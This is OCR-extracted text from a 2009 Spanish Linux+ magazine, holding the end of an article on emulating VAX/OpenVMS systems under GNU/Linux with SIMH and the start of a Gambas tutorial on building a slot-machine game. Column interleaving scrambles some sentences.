Instalación de componentes adicionales
VAX/OpenVMS
A continuación, utilizando el fichero imagen
cd.iso que contiene el sistema operativo OpenVMS 7.3, procedemos a la instalación de los
componentes adicionales necesarios para el
soporte Ethernet y TCP-IP. Una vez arrancado
54
Listado 10. Instalación del soporte DEC OS/F Motif en sistemas OpenVMS
Product name (* to show list): *
DEC VAXVMS DWMOTIF V1.2-6
Layered Product
Do you want to continue? [YES]
for each selected product and for
any products that may be installed to satisfy
software dependency requirements.
DEC VAXVMS DWMOTIF V1.2-6: DECwindows Motif
� 1988, 2000 Compaq Computer Corporation
Compaq Computer Corporation
This product uses the PAK: DW-MOTIF
Checking values of system parameters...
OK
Do you want the defaults for all options? [YES] YES
If a Local Language Variant is installed refer to the Install Guide.
Do you want to continue? [YES] YES
Do you want to review the options? [NO]
The following product has been installed:
DEC VAXVMS DWMOTIF V1.2-6
Layered Product
Finally, we get the following messages to indicate the
installation is complete.
DEC VAXVMS DWMOTIF V1.2-6: DECwindows Motif
System reboot will be required following upgrade
of language variants.
Installation Verification Procedure can be run after reboot.
Listado 11. Creando una interfaz de red integrada tap0
root@persephone:~# ifconfig tap0
tap0
Link encap:Ethernet
HWaddr 4E:38:D6:F8:83:0F
BROADCAST MULTICAST
MTU:1500
Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:0 (0.0 b)
root@persephone:~#
Linux+ 5/2009
TX bytes:0 (0.0 b)
soluciones para empresas
Rehosting de sistemas VAX/OpenVMS
Acrónimos y abreviaturas
• CICS: Complex Instruction
Set Computer
• DCL: Digital Command Language
• DEC: Digital Equipment Corporation
• DECU: Digital Equipment Corporation
Users' Society
• IA32: Intel Architecture 32-bit
• ISA: Instruction Set Architecture
• NIC: Network Interface Card
• RAM: Random Access Memory
• VAX: Virtual Address Extension
• VMS: Virtual Memory System
• XDM: X11 Display Manager
el emulador, ejecutar los comandos OpenVMS
que figuran en el Listado 5.
A fin de proceder a instalar el soporte
TCP-IP, debe accederse al directorio VMS Figura 7. Conexión TCP-IP al sistema VAX/OpenVMS desde sistema anfitrión
denominado DUA3:[TCPIP_VAX051.KIT]
en el que aparece el siguiente producto:
o, alternativamente, ya que UCX es el prede- rámetros de configuración del kernel Opencesor de la implementación TCP-IP en estos VMS.
$ dir dua3:[tcpip_vax051.kit]
sistemas:
De este modo, obtenemos como resultado
DEC-VAXVMS-TCPIP-V0501-15-1.PCSI;1
un sistema VAX/OpenVMS completamente
Total of 1 file.
$@sys$manager:ucx$config
funcional en el cual se ejecuta OpenVMS 7.3
con soporte TCP-IP, lo que permite el acceso
Y proceder a la instalación del mismo mediante que produce un menú interactivo que utiliza- remoto a éste tal y como se muestra en la
la utilidad DCL product tal y como se muestra remos para la configuración de la interfaz de Figura 7.
en el Listado 6.
red (Listado 8). De este modo, aparece lo que
Mientras que el acceso desde otro equipo,
Una vez concluidos estos pasos, la plata- presenta la Figura 6.
se ve como aparece en la Figura 8, en el que se
forma VAX/OpenVMS está emulada en nuUna vez realizada esta actividad, la aprecia otro detalle de la conexión desde un
estro sistema GNU/Linux y se encuentra lista opción (6) de dicho menú permite arrancar equipo físicamente ajeno al del sistema emupara su utilización ulterior.
los servicios TCP-IP asociados al dominio lado.
emulado VAX/OpenVMS. Probablemente,
Como se puede comprobar, hemos solvenComunicaciones TCP-IP
resulta necesario modificar alguno de los pa- tado uno de los problemas más críticos que pre-
con el sistema VAX/OpenVMS
Tal y como se ha explicado anteriormente,
el acceso a una comunicación TCP-IP con el
sistema emulado descansa sobre dos premisas básicas como son la compilación de SIMH con soporte Ethernet gracias a la librería
PCAP así como la existencia de un interfaz de
red Ethernet libre en nuestro sistema GNU/
Linux. En nuestro caso particular, esta interfaz es eth0 tal y como se muestra en el Listado 7.
Esta interfaz de red no deberá estar conectada físicamente a ningún concentrador
o conmutador, ya que su utilización será interna al propio sistema anfitrión GNU/Linux.
Una vez comprobada la disponibilidad de
esta interfaz, es el momento de proceder a la
configuración TCP-IP de la plataforma VAX/
OpenVMS mediante los siguientes comandos
DCL OpenVMS en el sistema emulado:
$@sys$manager:tcpip$config
Figura 8. Conexión TCP-IP al sistema VAX/OpenVMS desde otro sistema GNU/Linux
www.lpmagazine.org
55
soluciones para empresas
Rehosting de sistemas VAX/OpenVMS
Después del reinicio, la plataforma emulada
VAX/OpenVMS estará ya lista para la utilización del servicio XDM que posibilitará la
apertura y trabajo con clientes X11, lo que
nos proporciona finalmente un sistema VAX/
OpenVMS en un sistema anfitrión GNU/Linux
con plenas funcionalidades para la migración
del software hospedado en plataformas VAX
a arquitecturas IA32.
Más allá:
Interfaces TUN/TAP
Frecuentemente, no se poseen tarjetas de red
adicionales, pero los sistemas GNU/Linux
proporcionan soporte TUN/TAP para los niveles TCP/IP 2 y 3, respectivamente. De este
Figura 9. Interconexión entre los sistemas anfitrión (GNU/Linux) y emulado OpenVMS
modo, TUN permite obtener un NIC virtual
sentan las plataformas VAX y es que los fallos lización de la secuencia de comandos del Lis- con una dirección Ethernet asociada distinta
en cualquier componente no están afectados por tado 9.
a la dirección física de la tarjeta en la que se
la obsolescencia, al ser emulados físicamente
Y posteriormente, proceder a la instalación sustenta:
a través de los dispositivos e interfaces presen- del paquete OS/F Motif para OpenVMS pretes en un ordenador personal actual.
sente en el CD-ROM de instalación volcado • Comprobar la existencia del módulo TUN/
en nuestra imagen cd.iso. Para ello, la seTAP,
Instalación
cuencia de pasos a seguir será:
• Instalar el software tunctl(1) disponible en
DEC OS/F Motif
http://tunctl.sourceforge.net,
Antes de proceder a instalar DEC OS/F Mo- • Montar el CD-ROM en el sistema VAX/ • Asegurarse que el kernel Linux posee el
tif, es preciso reconfigurar el kernel del sisOpenVMS mediante el comando:
soporte TUN/TAP instalado como mótema OpenVMS, ya que en concreto, el pará- $ set default DUA3:[DWMOTIF_
dulo, lo cual puede verse mediante el cometro PQL_MBYTLM debe ser como mínimo
VAX126.KIT]
mando:
de 48000:
• Proceder a la instalación de DEC OS/F root@persephone:~# lsmod | grep tun
Motif for OpenVMS mediante los coman- tun 13444 0
- SYSGEN parameter PQL_MBYTLM is
dos recogidos en el Listado 10.
• Proceder acto seguido a levantar con la
40000, should be at least 48000
utilidad tunctl(8) la interfaz TAP que
• Finalmente, reiniciar el sistema VAX/OpenVMS para hacer que los cambios tengan
simulará nuestra tarjeta de red para el sisEl procedimiento más adecuado para la reefecto:
tema emulado VAX/OpenVMS:
configuración del kernel OpenVMS es la uti- $ shutdown
root@persephone:~# tunctl
Set 'tap0' persistent and owned by uid 0
set xq mac=4e-38-d6-f8-83-0f
• Con ello, se crea una interfaz de red integrada tap0, con una dirección Ethernet específica e independiente de las tarjetas físicas del sistema tal y como se aprecia en el
Listado 11.
• Editar el fichero vax.ini del Listado 2, modificando la entrada correspondiente, de tal
forma que se introduzca la dirección IP del
dispositivo tap0 recién creado:
; Attach Ethernet to a network interface
Figura 10. Sistema OpenVMS emulado por una distribución GNU/Linux live
56
Linux+ 5/2009
Es muy importante tener en cuenta que NO SE
DEBE añadir una dirección de red a esta interfaz, ya que esta labor la realiza exclusivamente
el sistema emulado VAX/OpenVMS y de forma
totalmente transparente al sistema GNU/Linux
que actúa como anfitrión.
De este modo se logra un bridge entre el
nodo GNU/Linux y el nodo emulado VAX/
OpenVMS tal y como se muestra en la Figura 9.
soluciones para empresas
Rehosting de sistemas VAX/OpenVMS
Sobre el autor
José B. Alós es administrador de sistemas
especializado en SunOS 5.x/HP-UX/AIX
desde 1999 de la mano de EDS, desarrollando su trabajo en Telefónica de España, S.
A. U. y lleva trabajando con sistemas GNU/
Linux desde los tiempos del núcleo 1.2.13.
Actualmente desempeña su actividad profesional en la industria aeronáutica dentro del
ámbito de sistemas y software embarcados
en EADS CASA. Ha sido profesor de la Universidad de Zaragoza. Está especializado en
sistemas de Alta Disponibilidad y posee un
doctorado en Ingeniería Nuclear.
Figura 11. OpenVMS Community Portal
Conclusiones finales
Para quien piense que OpenVMS es un sistema
muerto, recordar que la primera versión VMS 1.0
apareció en 1978 y el soporte OpenVMS a plataformas Intel Itanium 64 bits está disponible por
HP Compaq desde 2004 ya que en estos momentos, no se vende hardware VAX. Esta solución
admite más sofisticaciones, incluso ejecutar un
sistema OpenVMS dentro de un sistema GNU/
Linux en un CD-ROM utilizando distribuciones
live, o virtualizaciones mediante QEMU, como
puede verse en la Figura 10.
Una compañía como Compaq compra DEC
en 1998 para fusionarse cuatro años más tarde
con el gigante Hewlett-Packard. No obstante
y para concluir este artículo, nada mejor que una
anécdota, como la protagonizada por Dave Cutler, uno de los padres de VMS y posteriormente,
uno de los ingenieros que lideraron el proyecto
Windows New Technology, que condujo a MS
Windows NT. El acrónimo WNT no es más
que una transposición una letra hacia adelante
de VMS, quizás para dar un gran paso hacia
atrás en las prestaciones tecnológicas.
Figura 12. HP OpenVMS Systems Documentation
En la red
• The Computer History Simulation
Project (SIMH):
http://simh.trailing-edge.com/
• OpenVMS Community Portal:
http://www.openvms.org/
• HP OpenVMS Systems
Documentation:
http://h71000.www7.hp.com/doc/
index.html
• Compaq OpenVMS Hobbyist portal:
http://www.openvmshobbyist.com/
news.php
• TUN/TAP Interfaces:
http://tunctl.sourceforge.net
Figura 13. Compaq OpenVMS Hobbyist portal
www.lpmagazine.org
57
programación
Curso de Programación en Gambas
Creando
un Juego en Gambas
Jorge Emanuel Capurro
[email protected]
En esta entrega, nos propondremos a crear un juego en Gambas:
el famoso JackPot o Tragamonedas. Estudiaremos la lógica de este
juego, como así también los conceptos nuevos que necesitamos para
poder desarrollarlo. Dejémonos un poco de hablar y... ¡comencemos
a programar!
G
ambas nos provee muchas herramientas que a
lo largo de este curso seguiremos estudiando.
En particular, en esta entrega, aprenderemos el
concepto de modularidad, mediante la creación
de Procedimientos y Funciones, la creación de menús para
nuestra aplicación, más funciones del lenguaje, como generar
números aleatorios y finalmente, daremos una introducción
al dibujo de primitivas. También, veremos las facilidades
que nos provee Gambas para poder crear nuestra aplicación
multiidioma. Empecemos...
Concepto de Modularidad
Cuando se desarrolla un programa de software de gran magnitud, éste se organiza de una manera y forma de que cada
una de las partes pueda ser independiente, es decir, que tenga una funcionalidad única. En un ejemplo de la vida real,
cuando se fabrica un automóvil, existen diversas partes que
tienen una función específica, como lo es el motor, el chasis,
el carburador, etc., todas estas partes, conforman a la pieza
final. Estas partes, al ser independientes, cuando una de ellas
falla, solamente hace falta cambiar o modificar la forma en
que lo hace, sin afectar a las demás partes involucradas. Con
58
Linux+ 5/2009
Reinventar la Rueda...
Este dicho popular en la jerga de los programadores, es
utilizado cuando un programador vuelve a programar un
módulo o una función que ya él (u otro programador) ha
programado en el pasado. Esto comúnmente sucede al
no estructurar los programas de una manera correcta, generando como consecuencia una reescritura de código de
forma innecesaria. Otro factor que puede causar que se
tenga que reinventar la rueda, sucede cuando el programador no es consciente o no conoce bien la totalidad de
las funciones del lenguaje, lo cual desemboca en la reescritura de código innecesario. Por ejemplo, si un programador no conoce que existe una función llamada SUMA,
que se encarga de sumar dos números, éste la tendrá que
crear a su modo, por lo que estará reinventando la rueda.
esta premisa, podemos decir entonces que los módulos son
Autónomos, con el software pasa lo mismo. Cada una de de
estas partes recibe el nombre de Módulos, los cuales cumplen una tarea específica, con el fin de poder ser reutilizado
programación
Curso de Programación en Gambas
Divide y Vencerás
El concepto de Modularidad está muy relacionado con el de “Divide y Vencerás”. Este concepto, fue presentado por primera vez
por el escritor Nicolás Maquiavelo, autor de
la celebre obra “El Príncipe”, en la cual explica que para poder dominar a todo un pueblo,
nada mejor que generar discordia entre
ellos, de forma que se separen en poblaciones más pequeñas y así, poder dominarlos
más fácilmente. Este concepto explica de una
forma muy clara lo que en la programación
con la modularidad se pretende conseguir.
Si prestamos suma atención a nuestros módulos,
podemos concluir que cada uno de ellos es un
Programa Independiente uno del otro, es decir,
cada uno cumple con una función única. Entonces, ahora nuestro enunciado “complicado”, se ha
transformado en tres enunciados sencillos, o técnicamente hablando, en tres módulos o programas
sencillos, que actuarán en conjunto. Podemos ver
una representación gráfica de la resolución de
nuestro programa en la Figura 1.
Dividiendo nuestros problemas:
Procedimientos y Funciones
Hasta aquí, ya hemos explicado el concepto de
modularidad, y de como poder utilizarla. En este
apartado, veremos cómo aplicarla en la práctica,
más precisamente con Gambas y las subrutinas.
Una subrutina es una porción de código que forma
parte de un programa más grande. Llevando esto
a la modularidad, las subrutinas vendrían a ser
el componente esencial para poder modularizar
nuestros programas. Éstas se dividen en dos categorías fundamentales:
por distintos componentes del programa. El
hecho de planificar un programa mediante la
utilización de módulos pequeños que cumplan
una tarea en particular y se involucren entre
sí, recibe el nombre de Modularidad. Esta estructuración permite al desarrollador ser más
claro a la hora de programar una aplicación y
ganar mucho tiempo, ya que al poder reutilizar
los módulos que ya ha desarrollado en otros
programas nuevamente, no hace falta reescribir •
código nuevamente, por lo que se evita lo que
se conoce en la jerga como Reinventar la Rueda
(ver Cuadro Reinventar la Rueda...).
Como ejemplo de modularidad, podemos
considerar como complicado el siguiente enunciado: Se pide al programador que genere una
aplicación que informe los números primos exis- •
tentes en el rango del número 0 hasta el número
30000.
Este problema, podemos resolverlo de una
forma modular:
•
•
•
Escribimos un módulo que calcule solamente un número primo,
Escribimos un módulo, que se encargue de
generar números del 0 al 30000,
Escribimos un módulo que se encargue de
mostrar un número en pantalla. En nuestro
caso, será el número primo.
Procedimientos: un procedimiento es una
subrutina que se encarga de ejecutar su código fuente, pero que no retorna ningún valor en particular. Es decir, ésta puede recibir
valores, trabajar con ellos, pero no puede retornar los valores a otro programa u otra
subrutina.
Funciones: las funciones son prácticamente
iguales a los procedimientos, salvo una diferencia sustancial: las funciones pueden retornar valores. Por ejemplo, si necesitamos
una subrutina que calcule la suma entre dos
números y necesitamos que el resultado sea
tomado por otro programa, entonces nos
valdremos de las funciones.
Figura 2. Imagen que servirá de fondo para el juego
de Tragamonedas
La sintaxis para declarar un Procedimiento
es la siguiente:
(PUBLIC | PRIVATE) SUB
NombreProcedimiento
[V1 AS
TipoVariable, V2 AS TipoVariable...]
END
Como vemos, un procedimiento puede tener un
ámbito público o privado. V1 y V2 son variables que, opcionalmente, pueden recibir o no
un procedimiento para trabajar con ellas, y van
precedidas del tipo de dato de cada una (Integer, Byte, Long, String, etc.). Estos parámetros
no solo pueden ser variables, sino que un control (Label, Form, TextBox, etc.) en particular.
Un ejemplo de declaración de un procedimiento llamado MuestraDatos que recibe el nombre
y la edad de una persona, puede ser:
PUBLIC SUB MuestraDatos (Nombre AS
String, Edad AS Integer)
... Código Fuente del Procedimiento
Tanto los procedimientos como las funciones, ...
estarán dotadas de un nombre único e irrepeti- END
ble que obviamente, tampoco sea una palabra
reservada del lenguaje.
Figura 1. Resolución modular de nuestro problema. Podemos observar los tres programas independientes
interactuando
www.lpmagazine.org
Figura 3. Interfaz gráfica final de nuestro Tragamonedas
59
programación
Curso de Programación en Gambas
Prácticamente, la sintaxis de un procedimiento
con el de una función es parecida, con la salvedad que en la función se debe especificar el tipo
de dato que ésta retornará. Por ejemplo, si la
función se encarga de multiplicar dos números
enteros y retornar su resultado, el TipoDatoDeRetorno será Integer.
La GUI del JackPot
¿Números Aleatorios?
Un número aleatorio es un resultado de una
variable al azar especificada por una función
de distribución. En las computadoras es
imposible generar números aleatorios por
las estructuras que éstas poseen, pero sí
es fácil simular la generación de números
aleatorios, mediante mecanismos de generación de números Pseudoaleatorios, que,
sin ser aleatorios lo aparentan. Es decir, una
computadora no genera realmente números
aleatorios, sino que, en realidad, almacena
una lista gigante de números en orden
aleatorio. Al principio de un ciclo de elección
de un número aleatorio, el software lo que
realmente hace es seleccionar un lugar de la
lista. Luego de esto, va utilizando los números de la lista en orden consecutivo.
Dejaremos un poco de lado los conceptos de
modularidad y el uso de procedimientos y funFigura 4. Ventana para agregar un nuevo Compociones, que veremos de forma práctica en nuestro
nente a nuestra aplicación
juego, para poder concentrarnos en el diseño de
La sintaxis para declarar una Función es la la interfaz gráfica de usuario para nuestro JackPot
siguiente:
o Tragamonedas. Usando un poco nuestra imaginación, podemos crear un dibujo de una máquina
(PUBLIC | PRIVATE) FUNCTION
tragamonedas para el fondo de nuestro formuNombreFuncion
lario, haciendo uso de programas como GIMP
[V1 AS TipoVariable,
o alguno más sencillo, como puede ser el InksV2 AS TipoVariable...]
cape o el famoso KolourPaint. El diseño de la
AS TipoDatoDeRetorno
máquina tragamonedas que yo he realizado ha
... Código Fuente del Procedimiento
quedado como se ilustra en la Figura 2. Este dise- ción final. Hay que tener especialmente cuidado
...
ño está hecho con Inkscape, y si bien es un diseño en calcular bien los recuadros del dibujo, si es que
END
muy sencillo, le dará otro aspecto a nuestra aplica- queremos poner controles sobre él. No es condición necesaria para la programación del juego
que el lector sepa utilizar herramientas de dibujo.
Si el lector desea, puede diseñar la interfaz gráfica
a su manera.
Nota: Se asume que el lector tiene manejo
de los controles explicados en entregas anteriores en este curso, por lo que solamente se darán
las propiedades elementales de ellos y de los
controles nuevos.
Para poder colocar una imagen de fondo
a nuestro formulario, esta imagen debe estar guardada en el mismo directorio donde se almacena
nuestro proyecto. Una vez allí, colocamos un
control PictureBox a nuestro formulario y mediante la propiedad Picture, seleccionamos nuestra imagen. Una vez adaptada a nuestro formulario, colocamos los controles correspondientes.
Nos debería quedar una interfaz gráfica parecida
a la que se muestra en la Figura 3.
A continuación, se listan las propiedades de
los controles utilizados:
•
•
•
Se le deja al lector la tarea de adaptar el tamaño
de los controles según sus necesidades, como
así también, elegir el color de los labels, etc. El
control LCDNumber no se encuentra en los componentes que Gambas nos provee como Default,
por lo que tendremos que añadirlo a nuestro repositorio de la siguiente manera. Dentro del IDE
de Gambas, nos dirigimos al menú Proyecto –>
Figura 5. Estructura de tipo Árbol que conforman una barra de menú
Figura 6. Ubicación del Editor de Menú
60
Tabla 1 : Propiedades de los Controles Label.
Tabla 2 : Propiedades de los Controles Timer.
Tabla 3: Propiedades de los Controles Restantes.
Linux+ 5/2009
programación
Curso de Programación en Gambas
Figura 7. Estructura de Menú del juego Tragamonedas
Propiedades, y por último, a la pestaña Componentes. Una vez allí (ver Figura 4), tildamos en el
componente gb.qt.ext. Veremos que se nos despliega un cuadro informándonos de los autores
de ese componente, los otros componentes que
requiere para poder utilizarlo, como así también,
los controles que este componente tiene. Luego
confirmamos presionando el botón Ok. Como
podemos ver, este componente solamente está
disponible para las librerías QT, y es por ello que
solamente podremos agregarlo en los programas
que utilicen esta librería.
Creando menús para nuestra
aplicación
una estructura de tipo Árbol, con su tronco principal conteniendo a otras troncales relacionadas.
Gambas diseña sus menús de la misma forma
que se muestra en la Figura 5, confeccionando el
menú en forma de Árbol.
Para poder acceder al Editor de Menú, nos
dirigimos al icono que se encuentra en la barra
de herramientas del formulario FMain, tal cual
como se muestra en la Figura 6.
Una vez dentro del Editor de Menú, es muy
intuitivo utilizarlo. Cada vez que queramos
insertar un menú o un submenú, hacemos clic en
el botón Insertar. Luego, tenemos la posibilidad
mediante las flechas de dirección, de generar la
estructura de tipo Árbol con la cual se conforman
los menús. Por convención, los menús empiezan
con el prefijo mnu, para identificarlos dentro del
código fuente. Las únicas propiedades que no se
pueden obviar para crear el menú son las propiedades Nombre y Título. Si a la propiedad Nombre
le agregamos un símbolo & delante, cuando estemos ejecutando el programa podremos abrir el
menú presionando la tecla Alt más la primer letra
del nombre del menú, por ejemplo para abrir el
menú &Archivo, presionaríamos [Alt] + [A].
También podemos dividir los subgrupos
mediante separadores. Para incluir un separador,
dejamos la propiedad Título en blanco. Como
podemos ver, también se pueden insertar imágenes de manera muy sencilla, que identifiquen la
acción de nuestro menú.
En la Figura 7 se deja la estructura de menú
de nuestro tragamonedas. Se deja al lector como
tarea construirla, como así también si lo desea,
modificarla a su gusto.
* 2, es decir, se le sumará a su dinero $20. Como
podemos observar, la única forma de que ganemos es sacando tres números iguales. La probabilidad de que ganemos está condicionada según
la cantidad de números que contenga el rango a
designar para que se generen los números aleatorios. Por ejemplo, si nuestro rango es de 0-9, va
a resultar mucho más difícil ganar que si nuestro
rango generación de números es de 0-3, ya que
habrá menos números que pueden salir elegidos.
¡A Trabajar!
Comencemos a programar nuestro juego. Como
siempre, declararemos las variables necesarias
para almacenar los datos del juego. En nuestro
caso, tendremos que declarar tres variables a las
que llamaremos Dinero y Apuesta, de tipo Integer y HorarioActual, de tipo Date. La función de
la variable HorarioActual se explicará más adelante. Ahora, crearemos algunos Procedimientos
y Funciones que nos serán útiles a lo largo del
programa. La primera Función que crearemos será la llamada DameNumeroAleatorio, que será la
encargada de retornar un número aleatorio según
el rango que le especifiquemos. Para crear esta
Función, la tenemos que escribir en la sección
Declaraciones de nuestro FMain, que es en el
mismo lugar donde se declararon las variables. El
Listado 1 muestra cómo se codifica esta función.
Analicemos esta Función. Primero, declaramos una variable local a la que llamamos “Numero”, que es del tipo byte, ya que almacenará
un número del 0-6, que es el rango que yo elegí
para la generación de los números aleatorios.
Luego, invocamos a la función RANDOMIZE, que
se encarga de mezclar los números que serán geLas Reglas del Juego
nerados por la función RND (ver cuadro ¿NúmeAntes de empezar a programar el juego, tenemos ros Aleatorios?). La función RND, se encarga de
que tener bien en cuenta las reglas de jugada, que generar números aleatorios o al azar (RaNDom),
son muy sencillas:
según los parámetros que se le especifique, en
nuestro caso, le pasamos 0 (cero) como límite
• Si el Jugador apuesta X dinero y saca tres
números iguales, el jugador gana X * 2, de
lo contrario el monto apostado se lo queda
la máquina tragamonedas
Los menús son elementos muy importantes en
las aplicaciones gráficas, ya que conforman una
estructura organizada donde el usuario puede
encontrar lo que busca de una manera rápida
y sencilla. Gambas posee un editor de menú, que
es de uso extremadamente fácil, pero para poder
manejarlo sin ningún inconveniente y confusión,
pasemos a ver como está estructurado un menú
de aplicación. Las barras de menú están conformadas por una troncal principal, que son los
componentes que se encargan de agrupar a un
subgrupo relacionado. Por ejemplo en un editor
de texto, podemos tener un menú que contenga
como troncal principal al menú Edición, y como
subgrupo a Copiar, Cortar y Pegar, que están
íntimamente relacionados con la edición de un
texto en particular. En la Figura 5, podemos observar a los troncales principales Menú A, Menú
B y Menú C, con sus subgrupos. Vemos también Por ejemplo, si el jugador apuesta $10 y saca tres
como una barra de menú forma lo que se llama números iguales (ej. 3 3 3) el jugador ganará $10
Figura 9. Nuestro juego de Tragamonedas funcionando
Figura 8. Esquema de la Animación del juego Tragamonedas
www.lpmagazine.org
61
programación
Curso de Programación en Gambas
Tabla 1. Propiedades de los 6 controles Labels necesarios para la interfaz principal
Propiedades de los Controles Labels
Name
Text
Transparent
lblNumA
"1"
TRUE
lblNumB
"1"
TRUE
lblNumC
"1"
TRUE
lblMontoApostar
"Monto a Apostar"
TRUE
lblSigno
"$"
TRUE
lblTitulo
"$ $ DINERO $ $"
TRUE
Tabla 2. Propiedades de los 4 controles Timers necesarios para la interfaz principal
Propiedades de los Controles Timer
Name
Delay
Enabled
tmrAnimaA
20
FALSE
tmrAnimaB
20
FALSE
tmrAnimaC
20
FALSE
tmrAnimaTitulo
800
TRUE
Tabla 3. Propiedades de los controles restantes necesarios para la interfaz principal
Propiedades de los Controles Restantes
Control
Text
MaxValue
Value
Button
"¡JUGAR!"
-
-
SpinButton
-
10000
-
LCDNumber
-
-
0
Tabla 4. Métodos más importantes para el dibujo de Primitivas
Propiedades y Métodes para el Dibujo de Primitivas
Clase
Nombre
Descripcion
Draw
Begin
Asocia el DrawingArea con la clase Draw
Draw
End
Finaliza o Cierra la asociación del DrawingArea con la clase Draw
Draw
Ellipse
Permite dibujar Elipses sobre la pantalla
Draw
Line
Permite dibujar Lineas sobre la pantalla
Draw
Point
Permite dibujar puntos sobre la pantalla
Draw
Polyline
Permite dibujar Lineas enlazadas sobre la pantalla
Draw
Polygon
Permite dibujar Poligonos sobre la pantalla
Draw
Rect
Permite dibujar Ractángulos sobre la pantalla
Draw
Text
Permite escribir texto
Draw
Font
Permite seleccionar una Fuente para utilizar con Draw.Text
Draw
Background
Color de fondo del Pincel (Ver clase Color)
Draw
ForeGround
Color de primer plano del pincel (Ver clase Color)
Draw
FillColor
Color para el relleno de Elipses o Rectángulos (Ver clase Color)
Draw
FillStyle
Seleccionar el patrón del dibujo, como solido, rayado, etc (Ver
clase Fill)
Draw
Refresh
Refresca la Imagen en la Pantalla
inferior y 6 (seis) como límite superior, es decir,
esta función solamente nos podrá retornar los
números 0,1,2,3,4,5,6. El número que nos retorne, se almacenará en la variable Numero, y luego
es retornado por la función mediante la sentencia
RETURN. Podemos observar en el prototipo de la
función, el valor de retorno que devuelve, que se
especifica del tipo byte, tal cual como lo hicimos
(PRIVATE FUNCTION DameNumeroAleatorio()
AS Byte).
62
Ahora codificaremos un Procedimiento que
se llama HabilitaControles que le pasaremos un
valor de TRUE o FALSE, y según el valor especificado, se habilitarán o se deshabilitarán los
controles contenidos en él. Este Procedimiento
será invocado cuando el jugador presione el botón Jugar, pasándole el valor FALSE para que los
controles queden inutilizados. Para comprender
mejor el uso de este procedimiento, imaginemos la siguiente escena:
Linux+ 5/2009
Un jugador apuesta $5 y presiona el botón Jugar, y contempla que los primeros dos
números que han salido son el 5, por lo que si
sale un número 5 nuevamente, gana el pozo.
El jugador al ser tan observador, se aprovecha
de que el control que se encarga de almacenar
el monto de la apuesta está deshabilitado, por
lo que se aprovecha de la situación aumentando el monto apostado a $80. Aquí, podemos
concluir que si los dos primeros números que
han salido son el número 5, la probabilidad
de ganar es mayor a la que teníamos cuando
habíamos empezado a jugar y todavía no había salido ningún número. Este tipo de errores
tiene que ser contemplado por el programador,
ya que son un error de lógica bastante grave
y permiten que el juego sea alterado. Imagine
que esto sucediera en un casino de verdad...
tendría que dar muchas explicaciones... Mejor,
pasemos a programar el procedimiento, tal como se muestra en el Listado 2.
Como podemos observar, el procedimiento recibe en una variable llamada Valor, un
valor del tipo boolean, es decir TRUE o FALSE.
Simplemente lo que hacemos es asignar el
contenido de Valor a los controles que serán
habilitados/deshabilitados, mediante la propiedad Enabled. Obviamente, uno de esos controles es el que controla el monto de la apuesta
(spbApuesta).
El procedimiento que se muestra en el Listado 3, se encarga de generar un “Color Aleatorio”. Este procedimiento lo utilizaremos
para darle al lblTitulo un efecto de que cambia
de color cada un cierto intervalo de tiempo.
Como se entiende, se genera un número
aleatorio entre 0 y 3, que se almacena en la variable NumeroColor, y luego dependiendo del
número que haya sido retornado, se colorea al
lblTitulo mediante la propiedad ForeColor,
indicando qué color asignarle mediante la
sentencia Color. NombreDeColor. Este procedimiento, al igual que los otros, es reutilizable
ya que si observamos el tipo de variable que
recibe, veremos que es del tipo Label. Esto
significa que el efecto que se crea en ColorTitulo es aplicable a cualquier control label que
se le pase como parámetro, y no sólo funciona
con lblTitulo.
El último Procedimiento que crearemos
será el encargado de comprobar si el jugador
ha ganado o no, y de ser así, asignarle (si
corresponde) el monto que ganó. A este procedimiento lo llamaremos VerificaGanador,
pero antes de codificarlo pasaré a explicar cómo
crear un módulo.
Los módulos, son archivos neutrales que
no están especificados ni relacionados directamente con un formulario en particular. Por
programación
Curso de Programación en Gambas
ejemplo, dentro de los módulos podemos crear
procedimientos y funciones que serán utilizados en otros Forms. En nuestro caso, no fue
necesario, pero sí se puede hacer. Nosotros lo
utilizaremos para crear variables que se puedan utilizar y asignar en distintos formularios.
Cuando nosotros declaramos variables en la
sección Declaraciones de nuestro FMain, estas
variables solamente se pueden utilizar dentro
de FMain, y no en otros formularios, pues son
locales del formulario. Al declarar una variable
dentro de un módulo, ésta se podrá utilizar en
cualquier formulario, siempre y cuando cumpla
con la condición de que sea PUBLIC, ya que si
no lo es, sólo se podrá utilizar dentro del módulo y en ninguna parte más.
Para crear un módulo, se hace prácticamente igual que al crear un nuevo formulario.
Nos dirigimos al Explorador de Proyecto,
y hacemos clic derecho sobre la carpeta Módulos y elegimos Nuevo–>Módulo. Le ponemos
el nombre modVarios y confirmamos. Dentro
del módulo, codificamos las variables y procedimientos que se encuentran en el Listado 4.
Estas variables serán utilizadas para tener
una estadística acerca de la plata y partidas del
jugador, tanto las ganadas como las perdidas. El
procedimiento Salir, se encarga de preguntarle
al usuario si desea realmente salir del tragamonedas, y de ser así, se cierra el programa.
Este tipo de procedimiento es sumamente útil
a la hora de evitar tener que reescribir código,
ya que si no lo declararámos en un módulo,
tendríamos que reescribirlo en cada uno de los
formularios que necesitemos utilizarlo.
Ahora sigamos con la codificación de nuestro último procedimiento, el VerificaGanador.
Su lógica es muy básica y puede apreciarse en
el Listado 5.
En primera instancia, verificamos si los
números contenidos en los labels son iguales,
y de ser así, el jugador ha ganado, y procedemos
a duplicarle el monto de lo apostado para luego
asignarlo a la variable Dinero. Como podemos
ver, cuando queremos acceder a una variable
que se encuentra dentro de un módulo, lo hacemos mediante nombreDeModulo.Variable.
En este caso, tuvimos que acceder a las variables modVarios.CantPartGanadas y modVarios TotalPlataGanada para almacenar los
valores que nos servirán más tarde a modo de
estadística.
Cuando empezamos un juego, tendremos
que asignarle al jugador un monto predeterminado para que pueda jugar. Este monto será
de $100, y se le asignará a la variable “Dinero”
cuando empiece el programa, como así también
se mostrará el valor en el lcdDinero. Es por ello
que el evento Open del FMain, quedaría tal cual
como se muestra en el Listado 6, inicializando
también otras variables utilizadas.
Cuando el jugador modifica en el control
SpinButtom, llamado spbApuesta, el valor
a apostar, se dispara automáticamente el evento Change, que es el encargado de detectar
cuando se ha cambiado el valor numérico que
almacena el SpinButton. Nos valdremos de él
para codificar y asignar a las variables correspondientes el valor de la apuesta. Analicemos
el Listado 7.
Este código funciona a modo de validación. Cada vez que el jugador quiere apostar
más plata de la que realmente posee, se dispara
la función Message indicándole que ese es el
monto máximo para apostar, y posteriormente se
Listado 1. Función DameNumeroAleatorio
